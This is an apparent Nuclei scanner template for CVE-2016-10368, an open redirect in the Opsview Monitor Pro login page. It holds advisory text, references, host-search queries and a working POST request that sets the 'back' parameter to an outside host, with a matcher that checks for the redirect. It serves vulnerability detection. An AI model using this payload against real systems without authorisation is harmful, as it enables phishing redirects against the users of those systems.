Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
PoC代码[已公开]
id: CVE-2016-10368
info:
name: Opsview Monitor Pro - Open Redirect
author: 0x_Akoko
severity: medium
description: |
Opsview Monitor Pro before 5.1.0.162300841, before 5.0.2.27475, before 4.6.4.162391051, and 4.5.x without a certain 2016 security patch contains an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via the back parameter to the login URI.
impact: |
An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
remediation: |
Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
reference:
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18774
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2016-016/?fid=8341
- https://nvd.nist.gov/vuln/detail/CVE-2016-10368
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-10368
cwe-id: CWE-601
epss-score: 0.01027
epss-percentile: 0.76507
cpe: cpe:2.3:a:opsview:opsview:4.5.0:*:*:*:pro:*:*:*
metadata:
max-request: 1
vendor: opsview
product: opsview
shodan-query: http.title:"opsview"
fofa-query: title="opsview"
google-query: intitle:"opsview"
tags: cve2016,cve,redirect,opsview,authenticated
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
- type: status
status:
- 302
# digest: 4a0a004730450220378d27804a889bb522032b9744de5f48c2191e5be25c0d04e589fd44b22a293b02210098419a43b0b58ffce5fc8d01ec39ed3ac80df9edeef6f7b82f376ac78b18bba8:922c64590222798bb761d5b6d8e72950